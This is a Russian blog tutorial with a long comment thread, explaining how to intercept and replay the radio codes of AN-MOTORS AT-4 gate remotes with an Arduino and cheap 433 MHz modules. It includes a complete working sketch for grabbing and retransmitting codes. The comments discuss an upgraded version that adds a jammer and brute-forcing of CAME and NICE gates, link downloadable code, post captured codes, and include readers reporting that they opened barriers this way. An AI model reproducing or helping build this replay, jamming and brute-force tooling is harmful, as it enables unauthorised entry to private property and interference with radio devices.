AN-MOTORS делает чуть более чем полностью низкопробные шлагбаумы, имеющие еще более низкопробные брелки AT-4. Шлагбаумы AN-MOTORS обладают уникальным алгоритмом, который они гордо называют динамическим. Сегодня мы научимся их открывать с помощью приемника-передатчика за 33 рубля.
AN-MOTORS AT-4 выглядит так:
1) Для начала найдем где-нибудь такие приемник и передатчик:
Продаются почти везде, где продается ардуино, в Китае например на aliexpress или ebay, в России есть в каждом втором магазине.
2) Также нам понадобится ардуина. У меня Arduino Pro Micro — мелкая и с USB. А вообще подойдет любая.
3) Собираем все вместе:
Вот и вся аппаратная часть.
Немного теории о динамическом алгоритме AN MOTORS AT-4
В теорию можно не вникать и промотать сразу на скетч ардуино)) Хотя вникать-то особо не во что..)
Протокол веселый. Набор импульсов, передающихся в эфир, выглядит так:
Похож на keeloq. Этот keeloq хрен взломаешь напрямую. Преобразуем эту цифро-аналоговую ересь в буквы. Нажимаем 4 раза на кнопку открыть и наш чудо-брелок AT-4 выдаст такое в эфир:
Выясняется, что нифига не keeloq. AT-4 фигачит рандомные числа вместо шифрованной части. То есть это просто статический код с рандомными битами посередине. Прикольное решение =) А если это статический код, можно смело отправлять эти же числа в эфир, и все будет весело открываться и закрываться.
Попробуем сделать передатчик по схеме выше. Можно не заморачиваться с печатной платой, ведь AN-MOTORS не заморачивались с шифрованием 🙂 Собираем так:
Аппаратная часть готова, приступаем к софту.
Программа для перехвата и отправки обратно кода AN MOTORS AT-4
Скетч для ардуино выглядит так:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 |
/// v3 #define rxPin 2 // сюда у нас подключен приемник #define txPin A3 // а сюда передатчик #define MAX_DELTA 200 // это максимальное отклонение от длительности Pe при приеме #define Pe 413 #define Pe2 Pe*2 void setup() { pinMode(rxPin, INPUT); pinMode(txPin, OUTPUT); Serial.begin(921600); //while (!Serial); Serial.println("AN MOTORS наклонятор запущен"); randomSeed(analogRead(0)); // запускаем перехват пакетов attachInterrupt(1, grab, CHANGE); // обратите внимание на первый параметр - если у вас другая ардуина, он может быть не 1, а 0! interrupts(); } void loop() { //левая кнопка - 2 (в с1 4 символ и в с2 - последний) // в с1 последние 4 цифры надо сделать нулями - туда мы воткнем ранодмую составляющую long c1 = 0x20220000 + 0x101 * random(0xff); // AN-MOTORS хотят рандом - получит рандом )) long c2 = 0x69F5CE22; SendANMotors(c1, c2); Serial.println("ОТПРАВЛЕНО:"); Serial.print(c1, HEX); Serial.print(" "); Serial.println(c2, HEX); Serial.println(); delay(5000); } void SendANMotors(long c1, long c2) { noInterrupts(); // временно отключаем перехват пакетов, чтобы не перехватывать собственные отправки for (int j = 0; j < 4; j++) { // отправляем 12 начальных импульсов 0-1 for (int i = 0; i < 12; i++) { delayMicroseconds(Pe); digitalWrite(txPin, HIGH); delayMicroseconds(Pe); digitalWrite(txPin, LOW); } delayMicroseconds(Pe * 10); // отправляем первую половину for (int i = 4 * 8; i > 0; i--) { SendBit(bitRead(c1, i - 1)); } // вторую половину for (int i = 4 * 8; i > 0; i--) { SendBit(bitRead(c2, i - 1)); } // и еще пару ненужных бит, которые означают батарейку и флаг повтора SendBit(1); SendBit(1); delayMicroseconds(Pe * 39); } interrupts(); } void SendBit(byte b) { if (b == 0) { digitalWrite(txPin, HIGH); // 0 delayMicroseconds(Pe2); digitalWrite(txPin, LOW); delayMicroseconds(Pe); } else { digitalWrite(txPin, HIGH); // 1 delayMicroseconds(Pe); digitalWrite(txPin, LOW); delayMicroseconds(Pe2); } } // все что ниже касается приема volatile unsigned long prevtime; volatile unsigned int lolen, hilen, state; volatile static byte bcounter = 0; // количество принятых битов volatile static long code1 = 0; // зашифрованная часть volatile static long code2 = 0; // фиксированная часть boolean CheckValue(unsigned int base, unsigned int value) { return ((value == base) || ((value > base) && ((value - base) < MAX_DELTA)) || ((value < base) && ((base - value) < MAX_DELTA))); } void grab() { state = digitalRead(rxPin); if (state == HIGH) lolen = micros() - prevtime; else hilen = micros() - prevtime; prevtime = micros(); if (state == HIGH) { // последовательность закончилась if (CheckValue(Pe, hilen) && CheckValue(Pe2, lolen)) // valid 1 { if (bcounter < 32) code1 = (code1 << 1) | 1; else if (bcounter < 64) code2 = (code2 << 1) | 1; bcounter++; } else if (CheckValue(Pe2, hilen) && CheckValue(Pe, lolen)) // valid 0 { if (bcounter < 32) code1 = (code1 << 1) | 0; else if (bcounter < 64) code2 = (code2 << 1) | 0; bcounter++; } else bcounter = 0; } if (bcounter >= 65) { Serial.print("Перехвачено: "); Serial.print(code1, HEX); Serial.print(" "); Serial.println(code2, HEX); bcounter = 0; code1 = 0; code2 = 0; } } |
Более продвинутая версия
Mr.4 сделал более продвинутую версию кода — открывает сразу три шлагбаума! Возможности:
- Перехватывает шлагбаумы CAME, NICE, AM MOTORS
- Индикация: Питание, Глушилка, Пойманный код, Отправка
- Две кнопки: Глушилка и Отправка кодов/Выкл глушилки
- Отображение сканера в терминале
- Запоминает последний пойманный код в ОЗУ (после выключения стирается)
Для сборки понадобятся такие штуковины:
Заказать можно например тут https://www.aliexpress.com/item/433MHz-100-Meters-Wireless-Module-Kit-ASK-Transmitter-STX882-ASK-Receiver-SRX882-2Pcs-Copper-Spring-Antenna/32637181317.html
Сам скетч и дополнительная информация тут: Палкаподнималка 2.0
UPD:
Пользователь warwar нарисовал схему подключения для варианта palkapodnimalka 2.0, + добавил bluetooth модуль для того чтобы видеть принимаемый код. ВНИМАНИЕ! при прошивке ардуины отключить пин RX или TX от блютуз, иначе будет ошибка. Программа для смартфона была использована Serial Bluetooth terminal. ну или аналогичная.
https://yadi.sk/d/uM5GUAjX4Qa-OA ссылка на архив
UPD: Если скетчи не компилируются, обновите Arduino IDE
ильшат
Круто. Спасибо
ильшат
Доброго времени суток. Первый вопрос: Раз в последовательности есть значящие биты и мусор, можно ли присылать всегда статический код вместо рандомной части? Второй вопрос: если все таки рандомная часть обязательна, то через какое количество комбинаций она может повторяться? Третий вопрос: если на две кнопки китайского брелока записать два статических кода у которых мусорная часть будет отличаться, чередуя нажатия на кнопки можно будет имитировать этот протокол, ведь получится, что рандомная часть меняется? Четвертый вопрос: есть в наличие китайский брелок, можно ли в нее впихнуть эту разработку, если создать свою печатную плату? Спасибо за ответы
admin
здравствуйте!
1) можно
2) как хотите, у меня всегда работало, можно слать одно и то же, можно через раз, там ребята из анмоторс реально не заморачивались, открывается всегда
3) можно на 2 кнопки, но можно и на одну с одним статическим кодом))
4) пришлите фотку брелка, наверняка можно куда-нить там подпаять ардуину. Но проще купить передатчик, он рублей 30 стоит
ильшат
Подозреваю, что мой китайский брелок граббер не может его считать, как раз из за его рандомности. Идея в том, чтобы создать граббер на базе ардуино (приемопередатчики уже в пути из Китая). Получить значящие биты, на базе этих данных создать статический код и записать его на китайский брелок передавая одну и ту же последовательность с ардуино. Это сработает? Почему то у меня нет уверенности в работоспособности китайского брелка. Вот его фото
admin
Да, думаю сработает
ильшат
Тот брелок, что на фото стоил мне 150 рублей на алиэкспресс. Не сталкивались с ним? Рассчитан на 433 мгу, но с оригинального брелока анмоторс ат_4 последовательность не записывает.
Максим
Прошу помощи, не могу разобраться как работает функция grab() в скетче, как идёт обработка сигнала и преобразование в цифры и буквы, ломаю голову уже неделю, хотелось бы напрямую пообщаться с тем кто понимает этот код. Мой мэйл: bmvgiv@yandex.ru
admin
Здравствуйте. Сначала настраиваем прерывание на изменение входного сигнала с применика. grab вызывается как только произошло изменение 0 > 1 или 1 > 0.
state = digitalRead(rxPin);
if (state == HIGH)
lolen = micros() - prevtime;
else
hilen = micros() - prevtime;
prevtime = micros();
Так мы считаем длительность пары импульсов — длинного и короткого. На выходе две переменных — lolen, hilen
И дальше мы просто проверяем эту парочку на соответствие длительностям, которые должен выдавать брелок. если подходит и это либо 1 либо 0. если lolen примерно длинее в два раза чем hilen, то есть hilen где то 413 мкс, а lolen примерно 826, то это значит мы поймали бит 0. если наоборот, то 1.
Вот эти биты мы записываем и считаем. Если подряд поймали 65 бит, то это точно нужный нам код — выводим его. А если встретились невалидные импульсы — обнуляем считанные биты, счетчик битов (bcounter) и начинаем заново. Ну примерно так
GromOFF
Спасибо за статью!
Разбил скетч на две части (грабер и сам передатчик)
Работает на ArduinoUNO
Если кому интересно, могу поделится…
ильшат
Можно взглянуть
Булат
Скинете скетч пожалуйста, интересно. Bulny1312@mail.ru
Евгений
подскажите в как вы граб используете терминал ардуинке на компе?
Юрий
Здравствуйте . Можно взглянуть на ваш скейч ?
promaster85@mail.ru
Александр
Gromoff скинте мне пожалуйста тоже на buzin3000@gmail.com а то разобраться не могу как разделить их нормально.
Айдын
Здравствуй скинь пожалуйста скеч w1989@mail.ru заранее спасибо…
Айдын
Здравствуйте можете скинуть скеч? Заранее буду благодарен
ruru
поделитесь, пожалуйста, скетчем.
super.rurru@yandex.ru
Виктор
Здравствуйте. Можете поделиться скетчем граббера. Интересует приемник и передатчик отдельно. И если можно итоговую рабочую версию. Сколько не бьюсь ничего в сериал не выводится
Антон
Мне очень интересно . Можете со мной поделиться?
Антон
Поделитесь пожалуйста. Я совсем не могу понять , как настроить передачу кода шлагбаумов (например CAME и AN MOTORS). Есть коды от них. Не могу понять куда их вписывать и как,чтобы передатчик передавал их . Принимать принимает , а отправить не понимаю как .
dykin@mail.ru
ПОМОГИТЕ ПОЖАЛУЙСТА .
Владимир
Здраствуйте Антон. Если вы справились с этой проблемой то прошу и мне оказать помощь.Все тоже что и у вас.Если связь будет между нами -то можно поподробней описать. Спасибо.
Николай
Поделитесь пожалуйста разделенным скетчем Kolyancom2@mail.ru
Evgen
GromOFF
Поделитесь пожалуйста скетчем — «Разбил скетч на две части (грабер и сам передатчик)» — egonja333@yandex.ru
Danya
Привет кинь на почту danya.sorokin2002@gmail.com скетч грабер и передатчик пожалуйста. И вопрос какая у тебя ардуино официальная или китай?
eduard
Здравствуйте! если остались скетчи от данного проекта сможете мне тоже скинуть eeo20@mail.ru. Спасибо
akvddrv
поделитесь пожалуйста разбитым скетчем akvddrv@yandex.ru
Ready
To GromOFF:
Если можно взглянуть на скетч для Uno — плз на ready63@mail.ru
Павел
Ребят, поделитесь скетчем ursul1186@gmail.com
Mr.4
Если разобраться, то можно сделать 3 в 1 (для AN MOTORS, CAME, NICE) Сканер\Отправка + Глушилка + Брутилка (перебор).
Пока с питание не могу придумать, а так всё работает.
admin
Было б здорово если бы вы сделали и выложили скетч и схему!
alex
Mr.4 ! Подскажите пожалуйста , кнопки глушилка и отправка подключаются к Pin 7,8 а вторые концы кнопок на Gnd ?
Stress
Не ясен алгоритм действий.
Девайс слушает эфир и сам повторяет услышанное?
Дмитрий
Да, я бы тоже взглянул на скетч
Mr.4
Для девайса рекомендую, передатчик STX882 и приёмник SRX882. Работают просто охрененно.
http://ru.aliexpress.com/item/433MHz-100-Meters-Wireless-Module-Kit-ASK-Transmitter-STX882-ASK-Receiver-SRX882-2Pcs-Copper-Spring-Antenna/32637181317.html
Денис
Кому интересно. Я скопировал с данного брелка код на другой на одну кнопку. гараж открывался один раз потом больше не работал пока их кто нибудь еще раз не откроет. скопировал заного на новый брелок два нажатия каждый на свою кнопку. И теперь гараж открывается либо 1ой либо 2ой кнопкой
николай
нет перехвата, посылки идут а перехвата нет
николай
всё, разобрался, не поменял параметр с 1 на 0, он же разный для плат, перехватывает и открывает на ура!!!! Спасибо автору!!!
Теперь вот задача как сделать отправку через кнопку подключенную к ардуино
Евгений
подскажите где вы эти команды вводите? я понимаю на терминале на компе?
dreamwait
повторил — чет нет приема 🙂
прерывание правильное — залил в то же устройство код для САМЕ — все ок принимает.
Отличие — приемопередатчик у меня совмещенный, на форуме есть схема и скетч для САМЕ — похоже даже автор тот же. Там все работает — значит устройство (железо) живое. Почему здесь не идет — не могу понять никак…
Jenik
Привет!
Можешь на почту скинуть код для CAME? Jenik_Sh@mail.ru
Заранее спасибо.
dreamwait
Все вышенаписанное мной неправда 🙂
Все работает просто супер! Косяк был простой — брелки были только у очень маленького количества автовладельцев, остальные использовали план «Б» — звонили по мобильнику на номер, там проверялся номер звонившего на валидность — и открывался шлаг… тупо по проводам (есть такая возможность!). А я увидел — машинки катаются, шлаг открывается — а у меня приема нет! Значит автор накосячил 🙂 Когда разобрался — все заработало как часы… Добавил к исходному проекту дисплей Нокии 5110 и аккумулятор с 2 преобразователями — для зарядки и повышающий на 5 вольт — а то с ноутом сильно палевно было «грабить» . Все честно награбленное записал в attiny13 и запихнул в корпус от левого китайского брелка (выкинув его МК). Исходники брелка и фотки https://yadi.sk/d/yYyrZADnwTycs
ну и на фрикерклубе есть. Автору огромное спасибо!
Solo59
еще не могу переварить всего,что написал )) но постепенно втягиваюсь в тему )
Mr.4
Админ, могу выложить код, для 3х шлагбаумов с индикацией + глушилка.
Как это сделать?
admin
можно сюда в теги
<code>код тут</code>
или присылайте мне на почту skproj@yandex.ru
спасибо 🙂
Айдын
Скинь пожалуйста на w1989@mail.ru
SherKhan
В железо не заливал, но судя по скетчу это только 12 бит Came и Nice.
Извиняюсь за наглость, но можете ли Вы допилить, что бы и 12 и 24 бита умело?
Спасибо.
dreamwait
Тои синий подойдет.лько заметил — брелок-донор точно как у Ильшата — в начале фотки выложены…Их 2 модификации — с синим светодиодом (внутри 8 ногий МК, отлично копируют статику) и с красным (внутри 14 ногий МК и память 24с02, х.з. какой протокол — ничего не копируют — но стоят копейки). Как донор удобнее с красным — и места больше и дешевле.
dsms
14 ногий МК — это FA58-6064.O
и память 24с02
фотку можно посмотреть поссылке:
https://www.modernsascendant.top/garage-door-remote-control-self-learning-cloning-gate-opener-fa586064o-433mhz-p-4014.html
Mr.4
Уважаемый админ, дошло ли до вас моё пись с кодом?
admin
Да, добавил в статью! Спасибо!
Александр
Люди поделитесь отдельным скетчем на прием. buzin3000@gmail.com
Solo59
Добрый день, ребята. Наконец-то нашел именно то что искал! все очень доступно описано и показано.
заказал детальки, жду пока придут, а пока буду вникать во все это дело….как именно программируется.
а то шлакбаумами обложили везде, ужас.
уверен, что у меня назреет несколько вопросов, можно задать их ? а то в этом деле не силен, совсем новичок (даже не любитель).
admin
Добрый день, спрашивайте конечно 🙂
Solo59
Admin, если я правильно понял, то мне еще плюс ко всему прочему потребуется сам программатор-микросхемка с помощью которой и заливается через прогу скетчи на адруино ?…. спасибо.
Электрик
Все работает, первый опыт у меня и сразу удачно) Правда пришлось не много повозиться, скопировал кусок перехваченного кода и вставил в скетч, все отлично заработало, думал сначала, что работает только с ноутом, подал питание с обычной зарядки для телефона и все отлично отработало, открылось и закрылось. С корпусом решил не париться, установлю в машину под панель куда нибудь и кину на кнопку питание +5 вольт… Автору огромное спасибо за труды и экономию наших кровных) пульт ориг стоит 1250р а ардуина и иже с ней 200р) еще раз спасибо)
Solo59
Электрик, привет. а ты ардуино использовал как кодграббер или как алгоритмический вскрыватель, ну т.е. ждал пока он последовательно прерберет коды и откроет шлакбаум? и сколько по времени ждал ? спасибо.
Электрик
Привет. Использовал как кодграббер, когда местные, ворота открывали приемник поймал пакеты. И отобразил в мониторе порта, я только скопировал их и вставил в скетч, заново его перезалил и Оп, все работает . Я только учусь, но вся логика понятна интуитивно, что бы НЕ заработало надо еще постараться…
Solo59
я вот тоже начал только вникать ) значит у меня тоже должно получиться )
вот жду детальки с китая. большое спасибо за ответ )
pavel
ошибка скетч не компилируется
Arduino: 1.6.12 (Windows 8.1), Плата:"Arduino Nano, ATmega328"
Изменены опции сборки, пересобираем все
C:\Users\p\Documents\Arduino\libraries\palkapodnimalka\palkapodnimalka.ino: In function 'void setup()':
palkapodnimalka:65: error: 'grab' was not declared in this scope
C:\Users\p\Documents\Arduino\libraries\palkapodnimalka\palkapodnimalka.ino: In function 'void loop()':
palkapodnimalka:88: error: 'anmcode' was not declared in this scope
palkapodnimalka:89: error: 'ccode' was not declared in this scope
palkapodnimalka:90: error: 'ncode' was not declared in this scope
C:\Users\p\Documents\Arduino\libraries\palkapodnimalka\palkapodnimalka.ino: In function 'void anmcode()':
palkapodnimalka:112: error: 'SendANMotors' was not declared in this scope
C:\Users\p\Documents\Arduino\libraries\palkapodnimalka\palkapodnimalka.ino: In function 'void ccode()':
palkapodnimalka:125: error: 'SendCame' was not declared in this scope
C:\Users\p\Documents\Arduino\libraries\palkapodnimalka\palkapodnimalka.ino: In function 'void ncode()':
palkapodnimalka:136: error: 'SendNice' was not declared in this scope
C:\Users\p\Documents\Arduino\libraries\palkapodnimalka\palkapodnimalka.ino: In function 'void SendANMotors(long int, long int)':
palkapodnimalka:159: error: 'SendBit' was not declared in this scope
palkapodnimalka:163: error: 'SendBit' was not declared in this scope
palkapodnimalka:166: error: 'SendBit' was not declared in this scope
exit status 1
'grab' was not declared in this scope
admin
Обновите arduino ide с их сайта
pain
вопрос по более продвинутой версии, нечего не видно в терминале? пробую брелком came, но терминал что то принимает так как строка сдвигается, схема рабочая, с другим скетчем брелок видит.
pain
сам себе отвечу, не та скорость порта стояла у меня.
Mts3872
Добрый день обновил до версии 1.6.12 но такиеже ошибки как писали выше, помогите пожалуста решить проблему
admin
все же проверьте все еще раз, у меня нормально компилируется. Никаких дополнительных файлов скетчу не требуется. Если честно не знаю в чем может быть проблема. Можете сделать следующее: переместить папку со скетчем в другое место, удалить все файлы из временных каталогов C:\windows\temp и C:\Users\имя_пользователя\AppData\Local\Temp если это не поможет удалить и затем заново установить ардуино. Возможно у вас стоит две версии и они как то конфликтуют. Короче сделать все еще раз, все должно получится.
Mts3872
Вы про палкуподнималку ? Я про неё имею виду попробую щас удалить все и поставить занаво
Mts3872
Не помогло с палкойподнималкой так и ругается (( а ардуино ж для проверки не должен быть подключён помоги плиз очень нужно
макс
закинул скейтч в корень диска с заработал.
щас разбираюсь с первым скейчем как включить сканирование а то посылает он код что изночально зашился при прошивке
alex
Доброго времени суток!
Вопрос про палкуподнималку 2.0 ,данный скетч работает только со статическими кодами? с динамическим кодом будет работать?
интересует nice с динамическим кодом.
Alex
приветствую участников!
вопрос про палкуподнималку 2.0 -с динамическим кодом nice будет работать?
Mr.4
Без понятия, писал под то на чём можно было протестировать, была только статика, на другом не было возможности проверить, нужно только тестировать.
Если есть желание множите попробовать, у меня нет возможности это сделать так что как нить сами.
Danya
Здраствуйте, вопрос про палку зачем ей приемник?
Ильдар
Добрый день. Как я понял то что в коде написано «// отправляем 12 начальных импульсов 0-1» тоже нужно вписывать? или это как цитаты для ознакомления?
admin
Да, эт просто комментарий что делает программа чтобы потом вспомнить что я накодил тут. Или чтобы вам понятнее было что происходит)))
Ильдар
Спасибо =)
Процедуру ловли и приема с ноута проводить?
И каждую строчку кода по отдельности вводить?
(До этого на ардуин код для подсветки ТВ делал, там разом код грузил)
admin
вы можете просто раскомментировать тот код, который вам нужен, и прошить все разом
Ильдар
Хорошо, спасибо. Пока жду приемник-передатчик из китая)
alex
Процедуру приема можно проводить через свой смартфон , для этого нужно добавить в схему блютуз модуль
Несказучеус
Друзья, а вот теперь совсем вопрос от чайника))) Хотя паять и программировать умею.
Кто может рассказать:
1. Какой брелок необходимо приобрести, какие распиновки понадабятся
2. Какие еще радиоэлементы будут необходимы?
3. Что необходимо сделать чтобы сделать штатную ломалку без использования нотебука, нажал на брелке, всё считалось, записал в ячейку. Потом проверил всё автономно.
Буду рад консультациям, напишите на sympotyaga@yandex.ru
Готов даже немного финансово поделиться, просто как и всех задолбали эти шлагбаумы, бесят!
alex
Mr.4 !
Подскажите пожалуйста , кнопки глушилка и отправка подключаются к Pin 7,8 а вторые концы кнопок на Gnd ?
alex
Все разобрался ,кнопки подключил к +5V и резистор 10 кОм, только после этого заработало как надо
Ильдар
Добрый день. Наконец получил приемник и передатчик (новые модели, что в описании). Но столкнулся с проблемой подключения, Arduino Nano не имеет некоторые контакты. Помогите с подключением. Куда вставлять VCC, DATA (из приемника и передатчика). Заранее большое человеческое спасибо Вам.
Ильдар
Кто понимает все это, помогите пожалуйста. Я думаю с изменением некоторых контактов, поменяется и код программы.
alex
VCC можно подключить на пин VIN или пин 5V , DATA подключаются исходя из скетча который будете использовать, в более продвинутой версии DATA приемника подключается на на пин D2 , DATA передатчика на пин D3
Ильдар
Спасибо добрый человек.
iiiam
есть у кого отдельные скетчи на приём и передачу поделитесь пожалуйста
iiiam@ya.ru
Ильдар
Всем привет. Собрал сей девайс. Опробовал ее. Ни ох, ни ах.
Думаю все же нужно кнопки подключить на «Включение приёмника», «ОТПРАВКА», «ГЛУШИЛКА». Ноги цифровых вх/вых. подключить через кнопку с чем (землей, +5В)?
У меня Ардуино Нано V3.0
xaoc2000
xaoc2000@mail.ru киньте схему пожайлуста
Ильдар
Разобрался с кнопками, на форуме андуин есть пост о подключении кнопки.
Один конец кнопки к питанию +5В.
Второй конец кнопки к резистору на 1кОм и к сигнальному кабелю.
Ну и второй конец резистора на землю.
dreamwait
Это хреновая идея — подавать питание на ноги мк! недолго он так проживет — хоть инженеры при разработке и предусмотрели «защиту от дурака». Правильно так — вход МК через резистор к питанию подтягиваем (1-10ком нормально будет), кнопку одним концом ко входу, вторым на массу. Логика работы — кнопка не нажата — на входе +, нажата — 0…
Pavel
Скиньте пожалуйста скетч для приема и для отправки сигнала для NICE FLO (статический). Использую Arduino Uno + передатчик и приемник(которые советовал MR.4) paulz2003@bk.
Павел
Поделитесь пожалуйста разделенным скетчем registratoff@gmail.com
Александр
Добрый день! Подскажите, что нужно вписать в код 2.0 для подключения bluetooth и вывода данных на терминал. И может есть люди которые смогут сюда добавить перебор кодов.
Ivan.Hor
киньте схему пожайлуста ivan.horban@gmail.com
dreamwait
Это я удачно зашел. Решил «слепить» статику и атмоторс, заодно и заменить дико глючный дисплей нокия5110 на цветной 1.44 128*128 — а тут уже и готово… Mr4 спасибо!
Александр
Добрый вечер можно вас попросить скинуть скетч al-5@rambler.ru заранее большое спасибо.
Waik
у меня при запуске постоянно светится светодиод «ledglPin». Так ведь быть не должно ?
sun91
То же самое. Это нормально?
dreamwait
Добавлю — 2 допбита д.б. 0 а не 1…Так у «оригинального» пульта — меня так вычисляли установщики и затирали брелки (придурки че — вместе со мной затирали и их «родных» владельцев — прикольно было смотреть, как они в кнопки тычут перед шлагом и нифига 🙂 ). Так что меняем в коде на 0…
Проверил у дорхана — у него тоже 00.
Кстати, брелок обновил — теперь поддерживает 4 кода в любой кодировке и сделал 2 модификации — на attiny13 и pic 12f629 — все в теме на фрикерклубе «эмулятор брелка»
Антон
Здравствуйте !!! Помогите пожалуйста решить сложнейшую для меня задачу . У меня есть коды от двух шлагбаумов .
AN MOTORS: 710366D4 F35B9EA8
AN MOTORS: 50B64907 F35B9EA8
CAME: 1989
CAME: 2294
Принять я их смог, а как прописать чтобы они отправлялись через передатчик ардуины (чтобы можно было их записать на другой брелок) я не знаю. Всю голову сломал. ПОМОГИТЕ ПОЖАЛУЙСТА .
dykin@mail.ru
Serg
Привет. Ну как тебе помогли? Та же беда, считать код смог, а куда его засунуть для отправки пока не разобрался. Подскажите что куда прописывать, Пойманный код такой
AN MOTORS: E10224A2 116ED04
Zugon
Собрал, скомпилировал, залил из всего что на фото принимает только CAME, остальные ноль эмоций.
https://yadi.sk/i/ViZ3M7fP3TvTba
SherKhan
В железо не лил, но судя по скетчу Came и Nice только 12 бит приём? Верно?
А можете (извиняюсь за наглость) сделать что бы понимал и 12 и 24 бита?
sun91
Добрый день! Подскажите, куда подключается
#define rxOn 5 //Включение приёмника
Dimm27
Палкаподнималка 2.0 супер, жаль что CAME читает только 12 битные.
Дмитрий
Ребят, поделитесь скетчем
владимир
Уважаемые друзья! Очень интересный пост.Долго бьюсь дурной башкой но результата ноль! Не буду все описывать.Но прошу помощи дабы не терять много времени.Прошу схему для Нано3. И скетчь на прием или общий.Много непоняток с кнопками и индикаторами как подключать.Простите за безграмотные вопросы!!!
Nick
А приемник с передатчиком от старлайна и подключение как тут подойдут?
http://skproj.ru/otkryt-shlagbaum-came/
Будет ли работать скетч палкоподнималка 2 с вышеуказанной схемой?
владимир
Друзья по несчастью! Прошу отозваться-особенно админа. наработал небольшой опыт обеих версий.2.0 грабит код-загорается светодиод.Но с кнопки обратно не отправляется? Что делать не знаю? В программировании ноль! Помогите в чем дело?
Задолбашийся
скиньте пожалуйста скрипт на чтение кода на temophey@mail.ru
lomik31
а можно ли выставить другую частоту com-порта и как это зависит от схемы?
Роман
Поделитесь скетчем farachkin@mail.ru
Спасибо!
Алекс
Подскажите, как в схему добавить LCD1602 (I2C), чтобы код отображался на экране? Заранее спасибо.
warwar
Нарисовал схему подключения для варианта palkapodnimalka 2.0, + добавил bluetooth модуль для того чтобы видеть принимаемый код. ВНИМАНИЕ! при прошивке ардуины отключить пин RX или TX от блютуз, иначе будет ошибка. Программа для смартфона была использована Serial Bluetooth terminal. ну или аналогичная.
warwar
https://yadi.sk/d/uM5GUAjX4Qa-OA ссылка на архив
Михаил
Интересный проект.Можно к нему прикрутить дисплей ( nokia 5110 )? Меня интересует статика на РТ2240, принять, сохранить посылку( например ABCD12 ). Вывести сохранённую посылку на дисплей, исправить ( например на ABCD23 ) и отправить. Если возможно , может кто напишет такой скетч?
Михаил
Может кто нибудь помочь — прописать вместо AM Motors приём и отправку статики на PT2240?
Павел Фомичев
В этом тебе должна помочь библиотека RCSwitch.h
warwar
Читал в комментах что у многих проблемы с отправкой кода . Чуть изменил скетч. В общем этот скетч использую для передачи заранее известных кодов + подбор кода NICE и CAME, NICE работает 100%, CAME не проверял. Работает скетч следующим образом. Управление происходит командами с терминала через кабель или блютуз не важно. При отправке из терминала цифры 1 будет передан код (AN MOTORS или DOORHAN не важно) тот который Вы замените в скетче. Эти коды отправляются с цифры 1 до 5, т.е можете «зашить» 5 разных кодов. При отправке цифры 8, включится подбор кода CAME(не проверял), при повторной отправке 8 перебор остановится. При отправке цифры 9 включится подбор кода NICE (работает, сам лично открыл так шлагбаум), при повторной отправке 9, перебор остановится. При отправке цифры 6 будет отправлен код записаный вами, в моем случае там 253, меняете на свой и все. Пока это все, но код допиливается, (просто нет времени этим заниматься), также работаю над приложением для android для управления этим всем, чтобы не таскать кучу пультов. В тексте я упомянул doorhan. Считанным кодом я открывал его,но есть одно НО, считывать нужно несколько кодов, и открываются они с двух команд,т.е если одна не прокатила, посылаете другую, а потом первую. В общем нужно пробовать . https://yadi.sk/d/u8JboBGDujNe-w ссылка на код
Bobik
Новые шлагбаумы ANMOTORS не открываются таким скетчем. У них какой то другой код. Меняется и первая часть и вторая. Вторая меняется не понятно как. ТО последние 4 цифры одинаковые. То только 1 последняя. Один раз вообще код не перехватился когда шлагбаум открывался.
Sergey
warwar, а можешь отредактировать программный код, чтобы был чисто на прием от an motors, либо со всеми вместе, а второй на отправку, без лишнего мусора!Прошу прощения у авторов оригинального скетче!
Коля
warwar, свяжись со мной, у меня есть пару идей на счёт андроид
Dmitry
Здравствуйте!
Скажите пожалуйста, будет ли это работать с приемником и передатчиком, описанными в начале страницы? Или только с 882?
Спасибо!
Дмитрий
Спасибо за проделанную работу!
Подскажите пожалуйста, это должно работать только с 882 или с приемником и передатчиком из начала статьи тоже?
Спасибо!
Eugen
Добрый день!
Кто-то смотрел уже, что передают пульты AT-4A?
Под них у An-motors даже другие приёмники идут…
К сожалению, выводы делать не могу пока — поймать успел только один код:
HOP: EEB166D4
FIX: 4FE65AD1
Доп.биты — 01
Получится поймать ещё один код — будет понятнее. Интересно, что оно такое)
revoyt
AN MOTORS код сейчас натурально динамический. Посканил пульт alutech at-4n, четыре посылки пульта. Все коды сейчас разные. Печаль. Шлагбум не открыть.
Serzh
Ребята, помогите! Нужно два отдельных скетча, на прием и на передачу. creator-83@mail.ru
Maks-in-net
Вопрос по скетчу палкиподнималки 2.0
присутствует #define rxOn 5 и прочие упоминания в коде. но по факту ничего не подлючено к клемме. смотрим схему.
Dmitry
Здравствуйте!
Скажите пожалуйста, будет ли работать алгоритм приема кодов от пульта nice с приемником, описанном в начале статьи? (Который продается везде). Дело в том, что такой у меня есть, а комплект srx нужно долго ждать.
Попробовал навскидку запустить подбор кода — пока шлагбаум не реагирует.
Также, как и код с имеющегося у меня пульта сграбить не вышло.
Damp
из всех опробованных приёмников и передатчиков эти https://aliexpress.ru/item/32959397488.html?spm=a2g0s.9042311.0.0.264d33ed7dpS7O оказались самые лучшие.
Павел Фомичев
Хорошая статья, спасибо автору. Повторил данный проект и прям очень доволен, даже снял небольшой обзор на то что у меня получилось.
Если кому интересно https://youtu.be/dErW3EMqhXk
Alex
Объясните что делает кнопка глушилка? какая у нее функция, отправка кода и получение кода это понятные моменты но что выполняет глушилка. она не дает сигналу с других пультов дойти до шлагбаума?
Станислав
Парни, если кому не сложно, пришлите раздельный код для граба и передачи, желательно для ардуино нано на raiderst@yandex.ru
Dmitry
Парни подскажите AN Motors чем отличается от DOOR HAN ? Посмотрел брелок двухкнопочный дорхана , там контроллер HCS300 стоит , тоже килок , и скорее всего тоже статика , т.к вряд ли ворота смогут обрабатывать динамический код с туевой хучи брелков ?
Виталий
Как можно заказать/купить собранный и прошитый комплект?